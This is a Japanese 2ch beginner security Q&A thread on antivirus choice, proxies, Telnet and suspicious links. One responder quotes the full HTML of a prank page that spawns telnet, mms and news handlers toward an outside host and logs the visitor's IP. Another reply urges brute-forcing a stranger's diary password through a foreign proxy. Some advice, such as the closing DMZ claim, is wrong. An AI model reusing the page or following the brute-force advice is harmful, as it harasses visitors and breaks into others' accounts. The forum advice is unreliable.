セキュリティ初心者質問スレッドpart81

インターネットとパソコンのセキュリティ関係の初心者質問スレです。
前々スレ　　　　　セキュリティ初心者質問スレッドpart79
　　　　http://pc8.2ch.net/test/read.cgi/sec/1165470988/

前スレ セキュリティ初心者質問スレッドpart80
http://pc10.2ch.net/test/read.cgi/sec/1167252179/

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ OSの種類（必須)、ブラウザ、セキュ関係ソフトの有無、やってみたこと等できる
　　 だけ詳しく報告。（例）「WinXPSP1,IE6SP1使用。ADSL回線でプロバイダは〜
　　 〜のルータを導入しているが、〜ができなくなった」等
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

テンプレは2-13あたり。

《参考》
・Windowsの動作がおかしい
　　Windows板
　　http://pc8.2ch.net/win/
　　Windows.FAQ - ウィンドウズ処方箋
　　http://winfaq.jp/
・分類不明の質問
　PC初心者板
　http://pc7.2ch.net/pcqa/
・２ちゃんねるの仕様の質問
　初心者の質問板
　http://etc3.2ch.net/qa/
・2chスレッドタイトル検索
　http://ttsearch.net/k.html
・なんでもいいからとりあえず検索
　Google
　http://www.google.co.jp/
・ページ内検索
　Win:[Ctrl ]+[F]　Mac:[コマンド]+[F]

【ウィルス情報質問　総合スレッド★Part41】
http://pc8.2ch.net/test/read.cgi/sec/1167048038/
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.102【2007】
http://pc8.2ch.net/test/read.cgi/sec/1165936988/
【VB】ウイルスバスター2006 Part24【TrendMicro】
http://pc8.2ch.net/test/read.cgi/sec/1166776537/
がんばれマカフィー Part.30 / ガンバレMcAfee
http://pc8.2ch.net/test/read.cgi/sec/1166969393/
NOD32アンチウィルス Part39
http://pc8.2ch.net/test/read.cgi/sec/1166023372/

【無料で使えるアンチウイルスソフト】
AVG Anti-Virus Version50
http://pc8.2ch.net/test/read.cgi/sec/1165737616/
avast! Anti-Virus Part61
http://pc8.2ch.net/test/read.cgi/sec/1164745004/
【cool】BitDefender Free Edition 18【free】
http://pc8.2ch.net/test/read.cgi/sec/1166443355/
Avira AntiVir PersonalEdition Classic Part20
http://pc8.2ch.net/test/read.cgi/sec/1166441949/
【ｵｰﾌﾟﾝｿｰｽ】ClamWin Antivirus【ﾌﾘｰ】
http://pc8.2ch.net/test/read.cgi/sec/1155731834/

・ソフトがなければ、オンラインウィルススキャン
　シマンテック・セキュリティチェック
　http://www.symantec.com/region/jp/securitycheck/index.html
　ウイルスバスターオンラインスキャン
　http://www.trendmicro.co.jp/hcall/index.asp
　Panda ActiveScan - Free Antivirus Online
　http://www.pandasoftware.com/activescan/jp/activescan_principal.htm
　　　　(※署名済みActiveXコントロールのダウンロードを有効にすること)
　カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ
　http://www.kaspersky.co.jp/scanforvirus/

・ウィルス対策ソフトの用語
　「駆除」：ファイルからウィルスを取り除くこと。
　「隔離、検疫」：ファイルをリネーム、移動。実行できなくする。
　「削除」：ファイル自体を削除。ワーム本体は通常、削除される。
・デマウィルス（安全なファイルをウィルスだと言い張る偽情報）
　jdbgmgr.exe、sage.exeなどは全てWindowsのシステムファイル。
　　「jdbgmgr.exe」に関するデマメール情報
　　http://www.ipa.go.jp/security/topics/alert140515.html
・webメール：添付ファイルを実行した場合、感染確率大。
　hotmail：ウィルス検査はあるが、新種のウィルス相手には無力。
・MacはWindowsのウィルスに感染するか？
　WindowsのアプリケーションはMacでは通常は実行できないので、
　感染はしない。但し、保菌してMac→Winへ感染する例がある。
・ファイアーウォールがトロイのアクセスをブロックしたが…
　アウトバウンドで検出：感染の可能性高。
　インバウンドで検出：感染の可能性低。念のためにチェック。
　※たまたまバックドアツールが通常使うポートと同じ場合もある。

【各種 Firewall】
・ZoneAlarm
　http://www.zonelabs.com/
・Kerio Technologies Inc/Kerio Personal Firewall
　http://www.kerio.com/kpf_home.html　　http://www.sunbelt-software.com/Kerio.cfm
・Tiny Personal Firewall
　http://www.tinysoftware.com/home/tiny2?la=JP
・Agnitum Outpost
　http://www.agnitum.com/download/outpost1.html
・Sygate Personal Firewall
　http://www.sygate.com/
・AtGuard
　http://www.atguard.com/
・BlackICE Defender
　http://blackice.jp/
・Snort for Win32
　http://www.datanerds.net/~mike/snort.html
【ログ解析ツール】
・ICEWatch
　http://www.angelfire.com/falcon/icewatch2000/
・ZoneLog Analyser
　http://zonelog.co.uk/

【スパイウェア対策】
【総合】スパイウェア予防駆除 Part12
http://pc8.2ch.net/test/read.cgi/sec/1162181635/
スパイウェア削除ソフトAd-awareSE　その32
http://pc8.2ch.net/test/read.cgi/sec/1161558819/
スパイウェア削除ソフト Spybot34
http://pc8.2ch.net/test/read.cgi/sec/1162836177/
常駐しないから（・∀・）ｲｲ!! SpywareBlaster 13
http://pc8.2ch.net/test/read.cgi/sec/1158299770/
制限付きサイトへ登録 IE-SPYAD Part2
http://pc8.2ch.net/test/read.cgi/sec/1110101408/
【スパイウェア】SpywareGuard【感染阻止】
http://pc8.2ch.net/test/read.cgi/sec/1114441832/
不正ファイル検知ソフトPestPatrol その5
http://pc8.2ch.net/test/read.cgi/sec/1148338591/

■Internet Explorer：つねに最新バージョンにアップデートしておく。（IE5.5sp2、
　6.0sp1以降推奨）
■安全なブラウザを利用する：
　Opera http://www.jp.opera.com/； http://www.opera.com/（英語)
　Opera日本語ファイル http://my.opera.com/community/customize/langs/
　Firefox http://www.mozilla-japan.org/products/firefox/
■怪しいメール：開かずに捨てる。IE5.01SP2,IE5.5SP2,IE6.0以上でなく
　Outlook Expressを使用している場合、メールをクリックしただけで感染する場合が
　あるので、プレビュー機能は必ずオフにしておく。
■アンチウィルス：常に最新パターン(ウィルス定義ファイル)に更新してないと意味なし
■不審なURL対策：
URLの文字列をよく見る。sex、loli、search、virusなどの文字列が入っていないか？
鑑定スレ
勇気がなくて踏めない人のための鑑定ｽﾚPart11
http://pc8.2ch.net/test/read.cgi/hack/1162991870/
勇気が無くて見られない画像解説スレ Part830
http://etc3.2ch.net/test/read.cgi/entrance/1166705122/
その他「勇気」「鑑定」等のキーワードで鑑定スレを検索。
　初心者が誤ってクリックしないよう、ウィルスやブラクラへ直接リンクを張らないこと。
　リンク先を直接見る→「対象をファイルに保存」→メモ帳で一度開いてみる。
■アダルトサイト対策
　インターネットオプション→セキュリティ→インターネット→レベルのカスタマイズ
　→ ActiveX、JAVA、スクリプトを全て無効
　ブラウザハイジャッカーの99%はIE以外では作動しない。IEの部品を利用しないOperaや
　Firefoxを利用するとトラブルを防げる。
■最近はウィルス以外にブラウザを乗っ取って個人情報を盗んだり、エロサイトに飛ばし
　 たりするスパイやハイジャッカーが流行している。アンチウィルスソフトだけでは防げ
　 ないのでアンチスパイソフトも入れておく。
　参考 ttp://www13.plala.or.jp/sukiero/erostart/

【IPアドレス】
・自分のIPアドレスを確認
　9x系：[ファイル名をしてして実行]→winipcfg.exeを実行。
　NT系：コマンドプロント起動→ipconfig /allを実行。

・他人のIPアドレスを確認
　MS-DOSプロンプト(コマンドプロンプト)を起動して、
　netstat -anを実行。表示されたポートから判断。

・IPアドレスから個人情報は漏れるか？
　プロバイダが所有する情報は公権力が無い限り、外部漏洩は
　通常なし。それよりもクラッキング対策をするべき。

・IPアドレスからプロバイダを知りたい
　一例→http://whois.ansi.co.jp/
　もしくは【Whois】でググレカス。なお、結果を貼りつけても無視される。

【掲示板】
・掲示板荒らし対策
　注意、警告、放置、削除、一時閉鎖、利用制限、通告、完全閉鎖。
　冷静に判断し、対応。困っているのは貴方だけではない。

・掲示板利用者のIPアドレスは調べられるか？
　HTMLソースに書いてある場合もある。

−−−−−−−−−−−−−−−
★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】
−−−−−−−−−−−−−−−

ってなんか、多すぎてワロスｗｗｗ

【使用OS】 WindowsXP Home
【使用ブラウザ】 Sleipnir
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 avast 4.7 home
【スパイウェア対策ソフト】　Spybot - Search & Destroy
【ファイアウォール】 切ってまつ（ルータでパケットフィルタかけてるんで）
【ルータの有無】 有

【具体的な症状】
特に不都合はないんですが、
ニュー速でリンクを開き、ダウンロードをクリックしたらtelnetがいっぱい開いたんで
もしやと思って書き込ませてもらいました
開いたときにダウンロードの確認・ActiveXのダウンロード等は出てきませんでした
こんな場合でもウィルス・スパイウェアに感染する場合があるのでしょうか

【過程と措置】
avast、Spybotで完全スキャンしたが見つからない

【その他】

>>11
単なるtelnetストーム
HTML文書に
<iframe src="telnet://〜" />が仕込まれてるだけ。
いわゆるブラクラ

>>12
レスありがとうございます
安心しました

あれ以降怖くて２ｃｈは仮想マシンでみるようになりました

>13
telnetは止めておいたら

>>14
これはやっときました↓

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-033.mspx
脆弱性の詳細 -
　Telnet の脆弱性 - CAN-2005-1215: -
　　「Telnet の脆弱性」の回避策 - CAN-2005-1215:

>15
たしか、サービスからtelnetを無効にできるはず。

スタート→コントロールパネル→管理ツール→サービス
ウィンドウ内にtelnetという名前のサービスが登録されている。

2007.01.24 NOD32アンチウイルス V2.7へのプログラムアップデートを開始しました。
キヤノンシステムソリューションズ：NOD32 アンチウイルス V2.7：プログラムアップデート
http://canon-sol.jp/product/nd/pcu/index.html

>>17
宣伝乙

■有害なマルウェア警報■

1月23日時点では検出できるセキュリティソフトが少ない悪質Rootkitが出現しました。
現時点では検出不能の”NOD32”のような製品をお使いのユーザーは、特に注意して下さい。

・マイクロソフトWindows Defender検出名：VirTool:WinNT/FURootkit.F
・BitDefender検出名：Trojan.Rootkit.Agent.AE
・kaspersky検出名：Rootkit.Win32.Agent.ab

該当情報のvirustotal画像
http://vista.o0o0.jp/img/vi6953276258.jpg
http://www.virustotal.com/

>>1
乙

>>20
・ﾟ・(つД｀)・ﾟ・

>>1
おっ

>>1
大津

>>1
Oz

宇宙的な角度から>>1乙

串と呼ばれている、Proxy　について教えてください

雑誌等やネットで串を刺せば、安全だという趣旨の記事を見たことがあります。

ＷＥＢサーバとはプロ串サーバが通信し、直接使用ＰＣから通信しないから安全
という趣旨だと理解しています。

使用ＰＣ---プロ串サーバ---ＷＥＢサーバ

ここで疑問なのですが、

１．プロ串サーバの管理者は、通信内容をすべて把握できるのではないでしょうか？

２．たとえばプロ串経由でヤフオクに参加した場合は、ヤフーＩＤとパスワードがもれてしまわないですか？

３．プロ串の管理組織が信用できない場合、プロ串使わないほうが安全だと思うのですがどうでしょうか？

４．ＳＳＬ等で通信したばあい、Ｐｒｏｘｙ管理者は暗号化された通信しか傍受できないので安全ですか？


調子にのって４つも？を書き込んでしまいましたが、回答いただけるとうれしいです。

>>26
犯罪者乙

>>27

ごめ、いまだに串させば安全っていってる人がいて、

２ｃｈにある、匿名串ってところをスレイプニルに登録してネットサーフィンしてるひといるのね。


私は、彼になんといってやめさせればいい？

>>19
また"NOD32"などで、まだ検出できないウイルスが出現した('A`)
ちゃんと検出できている製品もあるのに。

代表的な検出名：PoisonIvy.j（バックドアの一種）
http://vista.o0o0.jp/img/vi6966723460.jpg
http://www.virustotal.com/

dxva_sigというファイルがショートカットにでました ｸﾞｸﾞってみるとWindows Media Playerで動画を再生した際にできるみたいなのですが、解決方法がわかりません
KB888656だったかをインストールしなければいけないみたいなのですが、そのset up がエラーとなってしまいます

>>30
セキュリティとは関係のない話だから
Microsoftに問い合わせしよう

質問です WIN XP SP2
eoひかり100M
さっき開通したばかりですが、ｾｷｭﾘﾃｨｿﾌﾄ無しで設定しても大丈夫でしょうか？　
すいません初心者です

>32
感染してもいいなら大丈夫

危険だと思われ

>32です
ｱﾜﾜ〜やっぱりですか
解りました
ｱﾝﾁｳｨﾙｽ ｿﾌﾄ買いに行きます
　
どうも、ありがとうです
m(__)m

フルチンでは寒いですか？と同レベルの質問だぞｗ

毎日フルチンだから寒さかんじないよぅ。わるいね。

>>32
せっかくこのスレに来たんだから、いい機会
に、ノーガード戦法やってみ。リカバリの練習でもして味噌

初心者です
ファイルをクリックすると、ショートカットの検索にいってしまうんですけど
どうですか？

リンク先が消えてる

よくファイルにウイルスが仕込まれてるとか聞きますが
動画ファイルなどにスパイウェアやウイルスを仕込んで、それを再生した時のみに発動するのとかもあるんでしょうか？

もし、そういうのがあるとしたら
Avastなどで、ファイルを指定して右クリック→クイック検査などで検査して感染してなければ問題ないということですか？
例えスパイウェアが仕込まれてても、Avastで検査すれば見抜けるものなんですか？

今までにクイック検査で引っ掛かったことのあるファイルはありませんけど・・・

ttp://wktk.vip2ch.com/vipper19423.jpg
この赤い丸で囲んだ部分は何かのアプリケーションなのでしょうか？
ちらちらと現れます

>>41
ファイルは「実行」しなければ感染しない
動画の再生はプレイヤーにデータを渡すだけだから再生しただけで感染ってことはない
スキャンでひっかからなくても未知のウイルスの可能性もあるし、それ以外の悪意のあるプログラムかもしれない
>>42
Avastの機能の一つだったはず

【使用OS】 Windows Me
【使用ブラウザ】 Internet Explorer 6.0 SP1
【Microsoft Updateの状態】 Windows Meでは最新（つまり昨年７月の時点で終了した状態）
【ウイルス対策ソフトとバージョン】 Symantec Antivirus 9.0.0.338
【スパイウェア対策ソフト】 Spybot / Ad-Adware SE / Spyware Blaster
【ファイアウォール】 有
【ルータの有無】 有

【具体的な症状】 特に異常があるわけではないですが、 今のマシンをあと最低１年は使いたいと考えています。
セキュリティソフトSymantec Antivirusのバージョン9.0.0.338を 現在常駐させているのですが、
３年ほど前にインストールしたこのソフト、今後も当面の間使用し続けていても大丈夫なんでしょうか。
【過程と措置】 一応Live Updateは有効に機能しているのですが、Windows MeではWindows Updateも終了しているため、
必要であれば新しくセキュリティソフトを購入しようかとも考えています。
ただ、セキュリティソフトでの対応も大手メーカーでは対応が終わっているため、
店頭ではSOURCENEXTのウイルスセキュリティZEROを薦められましたが、 このソフトでも充分大丈夫なのでしょうか。
【その他】

>>44
糞ース薦める店は糞だ。
無料で検出率の１、２位を争うほど優秀で軽いAntiVir使ってみ。

ゼロはダメだろ・・・常識的に考えて・・・
これを機にフリーのにしてみては？
WinMeにノートンならかなり重いだろうから軽くなる分得した気になると思う

>>43
動画ファイルからは感染することはないってこと？
動画ファイルにおいて「実行」とは何を指してるの？

Avastを常に最新Verにしといて、
見知らぬファイルはクイック検査しとけば大概は問題ないってことでしょうか？

>>47
マジレスすると　あるUnicode制御文字がファイル名に使用されていると拡張子が簡単に偽造できるから

例）http://www.dotup.org/uploda/www.dotup.org16603.png
※拡張子は表示する設定にしてます

>47
wmvにウィルスあったような。mp3にも。

>>大概は問題ない
・・・、そんなこといったら大概問題なし
100%見分けるソフトなんて現在も今後もない。

>>例えスパイウェアが仕込まれてても、Avastで検査すれば見抜けるものなんですか？
スパイウェアはspybot等のソフトで検査

そういえば、98およびMEのサポートは終了したけど、
Update配布サイトは今年の7月11日まで繋がるらしい。

ＮＩＳ２００４から２００６に変えた時ＳＰＡＹＢＯＴのアンインストールさせられた。
その後スパイウエアーの感知の知らせ、ウイルススキャンしても無しだが本当にスパイウエアープロテクトしている
のかな、それとも俺の設定がおかしいのか、アドアウエアーには相変わらずスパイウエアー引っかかるので
スパイボット再インストールしても問題ないか何方か教えて下さい。

これを開くとトロイにかかる・・・なることを言われたんだけど？マジ？
http://chiffon.ty.land.to/src/Chiffontea0642.jpg

>>52
そんなURL貼るなよ

申し訳ない

http://hp42.0zero.jp/diary/diary.php?num=1&uid=pie12&dir=793
ぱすわーど知りたい…(´・ω・｀)

>>55 ブルートフォース攻撃がおすすめ>>26のように匿名プロキシ通すこと。

匿名プロキシは中国あたりのがおすすめ。

セキュリティーとかPC買って3年も経つけど一回も入れたことが無い人です。

ウィルスなんてほんとに感染するの？

一般PCなんで必要ないかと思いますが詳しい方教えて下さい。

ウイルスソフトを一時的にきるにはどうすればいいのでしょうか？

>>57
XPではそうでもないが98ではネットにつないだだけで即感染なんてざら

>>58
ウイルスソフト？　ウイルスなんか入れてるの？日本語勉強しなおそう

いや、2000ってやつなんですが・・・。
結局セキュリティーなんて重いだけで一般には要らないって事ですよね。

>>60
>4のシマンテックかカスペ辺りでスキャンして来るといい。
興味のない人は感染してても気づかない。
一般と言う括りは分かりにくいけど、
情報が漏れ漏れでも困らない、気にしない人には要らない。

>>59
セキュリティソフトですかね教えて下さい

>>62
ソフトの名前が分らないと無理。
分ったところで使ったことないと分らないんで個別のスレで聞くか説明書読みましょう。

>>61 それだけでなく、クラックの踏み台にされかねないのだが・・・・

>>63

マカフィーです

>>65 システムトレイアイコン上の、黄色くて丸いアイコンを右クリック

「Norton Internet Securityを無効にする」「Auto-Protectを無効にする」

そのあと何か出てくるので無効にする期間を設定。

>>66
ありがとうございます
あとウイルスソフトでも日本語的には問題ありません

>>67
検索したらソースネクストだけウイルスソフトって表記があってﾜﾗﾀｗｗ

>>67
えー

>>68
えーw

>>68
まさにｗｗｗ
たしかに的を射てるな

>32です
>38さん
ノーガード戦法って、いったい何なんですか？
　
マジ、初心者です。
優しくしてね。

マカフィーのウィルススキャンとFWだけインストールしてるんですが、スパムキラーとプライバシーもインストール
したほうがいいですか？

そんなたいした技術がないので危険なことはしません。。。

LimewIreで音楽をDLはします。

ご回答いただけたらうれしいです。よろしくお願いします。。

>>73
＞マカフィーのウィルススキャンとFWだけインストールしてるんですが
それがもっとも適したセレクト

それ以上いれる必要なし、重くなるだけ損

>>73
LimewIre？・・・きさまＰ２Ｐ使いか！

きー！教えて損したーーー！！！！

Ｐ２Ｐ使ってる時点でセキュリティ関係ないし。

システムトレイってどこにありますか？

黄色いアイコンの位置がわかりませぬ
誰か教えてたもれ

>>78
なんとなく画面の隅っこにない？

適当に開けば解決するだろうとほったらかしたけど
マカフィーって言ってるのにノートンのアイコンは無いだろうな。
多分赤いMじゃねの。

>>45
>>46
ウイルスセキュリティZEROがダメな理由を教えて下さい。
フリーのAntiVirってそんなに使えるものなんですか？。
であればわざわざ有償版を買う必要がなくなりますよね。

>>81
釣り乙
ウイルスセキュリティ0に釣られてるのはじじばばだけ

>>81
ただみんな知らないだけ

http://www4.pf-x.net/~zot/av/detect060725.html

あれ？
脳豚以下とか叩かれまくってるカスペルスキーが一番凄いんだね…
ノートン買っちゃいましたよ…
不安になってきた

これは>>1の自演（´・ω・） ｽﾈ

AntiVirって1日に少なくとも3回ほどはアップデートがあるよね。

>>84 ノートンでも十分優秀。　別に不安になる必要ない

バスタ利用してきましたが年間利用料が上がって我慢できなくなったので 
AntiVir導入させてもらいます（ ＾ω＾） 

>>87
そう、
しかし、優秀ではあるが完全無敵ではない。
よって安心は禁物。
ウイルス作る方だってそこまで馬鹿じゃないわなｗ

AntiVir + BitDefender + SpyBotS&D + ZoneAlerm
これ最強

これ踏んじゃいました。
ＰＣは無事でしょうか？

これ？

猫踏んじゃった♪

すみません！
www.hellplant.org/cgi-bin/xoor/serpent.cgi
↑これです。

>>94
<html>
<frameset rows="100%,0,0,0,0,0,0,0,0,0">
<frame src="ttp://www.hellplant.org/cgi-bin/xoor/serpent.cgi?mode=ipget&port=8585">
<frame src="ftp://www.hellplant.org:8585/" scrolling=no noresize>
<frame src="gopher://www.hellplant.org:8585/" scrolling=no noresize>
<frame src="ttps://www.hellplant.org:8585/" scrolling=no noresize>
<frame src="pnm://www.hellplant.org:8585/pnmiptrace" scrolling=no noresize>
<frame src="mms://www.hellplant.org:8585/mmsiptrace" scrolling=no noresize>
<frame src="rlogin://www.hellplant.org:8585/" scrolling=no noresize>
<frame src="tn3270://www.hellplant.org:8585/" scrolling=no noresize>
<frame src="telnet://www.hellplant.org:8585/" scrolling=no noresize>
<frame src="news://www.hellplant.org:8585/" scrolling=no noresize>
</frameset>
</html>

FW入れているのですけど、シマンテックのセキュリティチェックでPingだけオープンになります。一応モデムはルータ内蔵の富士痛のM2モデムなんですけど、大丈夫ですよねえ？

>>96
pingは普通のPCでは開いてる。

>>94 ブラクら的なもの。

>>98
メディアプレーヤーとかメール送信トレイが開いてるんですが、
そのまま×するだけで大丈夫ですか？

>>99 それでＯＫ。　別にウイルスとかそういうものは心配なさそう。

>>100
どうもありがとうございました！

>>99
メディアプレイヤーが開く
・<frame src="pnm://www.hellplant.org:8585/pnmiptrace" scrolling=no noresize> 
・<frame src="mms://www.hellplant.org:8585/mmsiptrace" scrolling=no noresize> 

コマンドプロンプトみたいなのが開く
・<frame src="telnet://www.hellplant.org:8585/" scrolling=no noresize> 

メーラーが開く
・<frame src="telnet://www.hellplant.org:8585/" scrolling=no noresize> 

>>90
最強厨は神で下さい＞＜

>>102
メーラーに勝手に登録されてるっぽいんですが、
削除でおｋですよね？

いらないのならＯＫ！

メーラーが開く＆newsにアカウント作成
・ <frame src="news://www.hellplant.org:8585/" scrolling=no noresize>

差し替え

メーラー使ったこと無かったんで・・
とりあえず削除しました。
どうもありがとうございました！
一応今からスキャンしてみます。

>>107
実害はあまり無いから安心汁

「あまり」！？
安心させていただきます！

>107
telnet止めておけばOK

なんか最近2chに「2chねらーに速報、みんなでニュースサイトを作ろう」
のリンクをクリックすると、Symantec名「Downloader」というものが検出されるのだが
これは一体・・・・

>>110
何度もすみません。
受信トレイとか送信トレイの下のほうに新しく増えてたっぽいので
それを先ほど削除したのですが、
telnetを止めるというのはそれで十分なのでしょうか？
「telnet」で検索したら遠隔操作をするためのものと書いてあって
怖くなりました。。

メールクライアントは一体何をつこうておるので？

>>112
コントロールパネル→パフォーマンスとメンテナンス→管理ツール→サービスからTelnetを選択してプロパティして
スタートアップの種類を無効にする。

あとRemote Registryも無効にしておいたほうがいい（リモートでレジストリを操作できるため）

最初から入ってるoutlook expressです。
ふだんはホットメールとか使ってないので仕組みが分かりません。

>>114
サービス　まではいけたんですが、Telentはどこにあるのでしょうか？
Remote Registryもみつかりません。

>>91
http://www.mozilla-japan.org/products/thunderbird/
これいいかも。

>>114 ひょっとしてＷＩＮ　ＸＰ　ＰＲＯ　使い？

>>117
さっそく試させてもらいます！

>>116
http://www.dotup.org/uploda/www.dotup.org16696.png
　　↓
http://www.dotup.org/uploda/www.dotup.org16697.png
　　↓
http://www.dotup.org/uploda/www.dotup.org16697.png

でおｋ

最後のやつは
http://www.dotup.org/uploda/www.dotup.org16698.png
に差し替え

>>119
わざわざありがとうございます。
telephony と　terminal services　はあるんですが、
間が抜けてます。。

そういえば、サービスの中に[NetBIOS]っていう奴もあるようだけど、
これも無効推奨でいいんだよね？

>>91 ひょっとして、HOME EDITION使ってます？

>>117
Mozilla Thunderbird　を既定のメールクライアントにしてもいいのですか？
メールクライアントというのがよくわかりません。
ほんとに何度もすみません。

>>123
Homeにはあったはず。2kかな？

>>123
はい。
それ使ってます。

>>125 今、Home使用者のダチにメールしたら無いみたい。

>>126
http://oshiete1.goo.ne.jp/kotaeru.php3?q=2446077

>>127
なぜかおれのHomeにはある。。。なぜ？

Telnetサービスがあるのは、XPはPROとMCEでFA?

今回のって勝手にTelnet開かれるんだから
"URL: Telnet プロトコル"とかの関連付け解除死とけばいいんじゃね

http://www.microsoft.com/japan/security/bulletins/ms05-033e.mspx

SP1とかSP2とかは、関係ないよね？

>>124 ＯＫ

>>97
ありがとうございます、安全って事が判って安心しました。

>>132
ありがとうございます！

>>131 サービスパック無適応の俺はない。

>135
俺のはXP MCE2005 SP2、telnetはある…

ノートンでもウイルスバスターでもそうだけど
アップデートが始まると画面で知らせてくれるけど
オンラインゲームやってるときとかにそれ始まると
画面閉じられたり、非アクティブになったり非常に迷惑なんだが
そういうふうにならない設定法とかありますか？

>>137
自動更新を切っておく

>>137 自動更新切れば？

>129
w2kもあるよ

ダブル突っ込みｗｗ

>140
おｋっす

やはりSPが関係してるのかな？＜Telnet

元がイントラネット管理者用機能だからね

たしかに２ｋではあるね
http://www.dotup.org/uploda/www.dotup.org16709.png

>>91は解決したのかな？

>>144
とりあえずmozillaに変えるとこまではできました。
これで安心なのでしょうか？
Telentは見つからないままですが。

訂）Telnet

telnetが一覧に無い＝手が出せない　からこれで終了。

一番早いのはproを買うことかな

なるほど。。。
みなさん親切に教えていただいてどうもありがとうございました！

>>91 今、ＨＯＭＥユーザーのダチのＰＣをリモートコントロールさせてもらってるけど
HOMEにはTelnetの代わりに「REMOTE・・・」とか付いてるのが多数あるようなので、
Remote付いてるサービス全部無効にしちまえ。

Remote Desktop Help Session Manager
Remote Registry
Routing and Remote Access
停止するのはこれだけでおｋ

>>149
全部無効にしても不都合はないですよね？

>>150
ありがとうございます。

>>150 に従った方が良い。
まあ別に問題ないとおもうけど。

>151
全部止めたらネットに繋げなくなるかも
150さんのでOK

すみません。
設定がごちゃごちゃになりました。。
Remote Access Auto Connection Manager
Remote Access Connection Manager
Remote Desktop Help Session Manager　←無効
Remote Procedure Call (RPC)　　　　←自動から変更できません
Remote Procedure Call (RPC) Locator
Removable Storage
Routing and Remote Access　　　　　　無効

その他は元がなにだったか分からなくなりました。。
Remote Registry は見つかりません。
アドバイスお願いします。

>155
＞Remote Procedure Call (RPC)　　　　←自動から変更できません
これ、俺もそうだ。
System権限で実行されているから、無効にすることができないのでは？
って思っている。

>>156
そうですか！
既に支障が出たのかと思って焦りました。

携帯から失礼します。
OSはXP HOMEで、ノートン2006を使用していました。期限が切れて更新しようとしたのですが、同じことだろうと思い、更新サービスの延長ではなく2007をダウンロードで買いました。
そして2007をインストールする前にノートンを削除し、それからインストールしたのですが、再起動してもノートンから更新期限が切れていると忠告を受けてしまいます。
ヘルプにはリムーバブルツールを使えとあり、実行して2007を再度インストールしても、また上記と同じ状態になります。
他に最もらしいヘルプも見つからず、ここで質問しました。長文・駄文申し訳ないです。

CountCyclesWMVDecLog.txt
というのが勝手にＣドライブにできてたんですが、これは何でしょうか？

検索するとWindows Security Center 関連のようなんですが‥

ＸＰ-ＰＲＯ SP2
ＩＥ６
ノートンＩＳ２００６
スパイボット
AD-AWARE SE　Personal
が入ってます。

もうちょっと検索したらでてきたんですが
原田ウィルスですか！？

いまノートンでスキャン中です。。
そういえば昨日ＰＣつけっぱなしで寝たら、起きたときマウスは動くけど
クリックとかはできなくなってました。。
ＬＡＮケーブル引っこ抜いたらクリックもできるようになりましたが。。。
どうしたらいいんでしょうか。。どんな被害があったんでしょうか。。

ウィニーとかのシェアソフト？は入っていないんですが。。

>>159 で？　スキャンの結果は？

そのテキストファイルの更新日付と、
エロサイトで落としたＺＩＰファイルの更新日付が、分まで一致してます。。

>>161
定義ファイル最新にしてまだスキャン中です。
スキャン中にそのファイルの入ってるフォルダをノートンで検索してみましたが
検出されませんでした。。

あーでも
そのＺＩＰファイルとtxtファイルの更新日付は２０日くらい前なんですよね。
昨日のとは関係ないのかな‥

スキャン終わりました。一切検出されませんでした。。
なんなんだろう‥

live2chのログのフォルダ除外にしてあるからそこも検索してみようかな‥
とりあえずもう遅いので寝ます。。
分かる方お願いします。。

>>158
http://pc10.2ch.net/test/read.cgi/sec/1169492750/10

ネット開通したばかりです。
ウィルスバスター2006の体験版を使用中です。
ファイアウォールは、バスターとWindowsセキュリティのどちらを有効にしたほうが、対策効果が高いでしょうか？

バスター

バスター2005とNIS2004を同時期に使ってたときがあったが
バスター2005のFWはざるだった

>>165
Windows FW

>165
どっちもどっち

どうしてこんなに民度が低いんですかあ＞＜

>>170
スレ違い

>>164
レスありがとうございます。書き損じましたが、上のテンプレも試したんですよね…
他に手段とかありませんかね？

>>172
ｻﾎﾟ

live2chのログのフォルダを除外からはずして検索しても、
.dat以外のファイルはヒットしませんでした。

どなたか分かる方いらっしゃいませんでしょうか・・・

>174
スキャンって今入れてるノートンでやったの？
ノートンじゃ見つからないタイプかもしれないよ。
カスペのオンラインスキャンを試しましょ

>>175
はい、最新の定義ファイルで、ＰＣに入っているノートンでスキャンしました。
カスペってカスペルスキーですね。
やってみます。

Active Virus Shieldをインストールして最初は普通に動いていたんですが
1ヶ月ちょっとたって、なぜか「incorrect lisense key activation」って文字が出るようになりました。
そこで最初に発行されたライセンスキーをいれたら「key is already use」っていう文字が出るんですが、どうすればちゃんと動くようになるかわかりますか？お願いします

すいません、OSはWinXPSP2でプロバイダはBIGLOBEの光フレッツです。

試供版だから？

最初にライセンスキーを使わずに、試用状態で1ヵ月使ってたのなら
キー自体に20日程度の使用期限が付いてたような記憶があるんで使えないんじゃなかろうか。
俺の勘違いかも知れん。

モデムとＰＣの間にルーター挟むとセキュリティ強くなるってきいたんですけどホントですかね？

>>181
無いよりは

>>181
wormだけは9割防げる
その他の驚異に関してはあんま意味ない
有った方が良い

>>175
カスペのスキャン完了しました。
７０近く検出されましたが、ノートンのフォルダにある.datファイルと.htmファイル、
（C:\Documents and Settings\All Users\Application Data\Symantec\Norton AntiVirus\Quarantine\のフォルダ）
live2chのログのフォルダにある.datファイルしか検出されませんでした。

スキャンの方法は標準のスキャンで、
マイコンピューターのスキャンです。。

>>181
ＰＣをルーターのＤＭＺボートに繋がないとルーター挟む意味ないぞ。

